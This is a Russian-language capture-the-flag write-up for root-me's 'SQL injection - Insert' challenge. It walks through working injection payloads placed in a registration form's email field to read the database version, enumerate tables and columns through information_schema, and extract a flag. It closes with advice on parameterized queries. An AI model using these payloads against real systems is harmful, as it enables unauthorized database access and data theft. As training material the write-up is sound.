
Разминаем мышцы мозга, продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - Insert". За решение задачки дают 40 баллов, средний уровень.

По названию становится понятно, что иметь дело придётся с SQL инъекцией. Причём инъекцию нужно будет делать в момент вставки записи. Задача звучит просто: найди флаг.
SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.
В подсказках есть ссылка на статью по SQL инъекциям.
Ссылки
Решение
Переходим на страницу задания:
http://challenge01.root-me.org/web-serveur/ch33/

Видим форму аутентификации с двумя полями:
- логин
- пароль
Просто пытаюсь выполнить вход под пользователем admin и паролем admin.

Ээээ, не понял. Вход выполнился. Мы с вами с первой попытки смогли войти под пользователем admin. Кстати, видим что у пользователя есть ещё одно поле email. Однако, данный вход нам ничего не даёт. На всякий случай пробуем войти под каким-то случайным пользователем со случайным паролем.

login failed
И такого пользователя нет. Значит, первый раз мы действительно угадали логин и пароль, хотя это было и не сложно.
Нам интересна вторая вкладка для регистрации пользователя, переходим.

Здесь у нас форма регистрации пользователя с полями:
- логин
- пароль
Пробуем зарегистрировать пользователя admin.

User exist :(
Регистрация не удаётся, потому что такой пользователь существует. Пробую зарегистрировать другого пользователя:
- логин: admin222
- пароль: admin222
- e-mail: admin222

Такой пользователь зарегистрировался. Пробуем под ним выполнить вход.

Войти удалось.
Получилось у нас следующее, мы выполнили INSERT строки в таблицу с пользователями, после чего вывели значение поля email. Как раз поле email выглядит очень подходящим для выполнения SQL инъекции. Поразмышляем, вставка строки в таблицу выглядит примерно так:
INSERT INTO users (user1, password1, email1)
VALUES ('$user', '$password', '$email')
Если мы хотим сделать инъекцию в поле email команды SELECT @@version
, то нужно вставить нечто такое:
'),('user2','password2',(SELECT @@version)),('user3','password3','
Тогда наш запрос станет таким:
INSERT INTO users (user1, password1, email1)
VALUES ('$user', '$password', ''),
('user2','password2',(SELECT @@version)),
('user3','password3','')
При этом у нас зарегистрируется сразу три пользователя.
Проверим
'),('admin331','admin331',(SELECT @@version)),('admin332','admin332','
Логинимся под admin331.

И в поле email у нас "8.0.36". Это у нас последняя версия MySQL 8. Мы с вами выполнили инъекцию. Осталось дело за малым — найти флаг.
Мы можем узнать имя базы:
'),('admin364','admin364',(select DATABASE())),('admin365','admin365','

Это нам особо ничего не дало, но может пригодиться в поиске флага. А может и не пригодиться.
Давайте попробуем вывести список таблиц базы. Вернее выведем первую таблицу, если получится. Нужно выполнить запрос:
SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE()
ORDER BY table_name
LIMIT 1
Формируем запрос:
'),('admin368','admin368',(SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE() ORDER BY table_name LIMIT 1)),('admin369','admin369','

Опа, а имя первой таблицы в нашей сортировке: flag. Мы на правильном пути! Посмотрим какие есть колонки в таблице flag, нужно выполнить запрос:
SELECT GROUP_CONCAT(column_name SEPARATOR ', ') AS column_names
FROM information_schema.columns
WHERE table_schema = DATABASE()
AND table_name = 'flag'
Формируем запрос:
'),('admin370','admin370',(SELECT GROUP_CONCAT(column_name SEPARATOR ', ') AS column_names FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'flag')),('admin371','admin371','

Можно было догадаться. В таблице flag единственное поле — flag. Посмотрим что в первой строке, нужно выполнить запрос:
SELECT flag
FROM flag
LIMIT 1
Формируем запрос:
'),('admin372','admin372',(SELECT flag FROM flag LIMIT 1)),('admin373','admin373','
Регистрируем пользователя admin372:

Логинимся под admin372.

А вот и флаг! Валидируем:

Флаг подходит. Зарабатываем 40 баллов.
Безопасность
- Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
- Не вся защита абсолютна, некоторые фильтры можно обойти. Лучше писать код так, чтобы его нельзя было взломать инъекцией.
- Защищайте поля формы от инъекций.
- Помните, что инъекцию можно сделать не только в запрос SELECT, но и в INSERT, UPDATE, DELETE, REPLACE.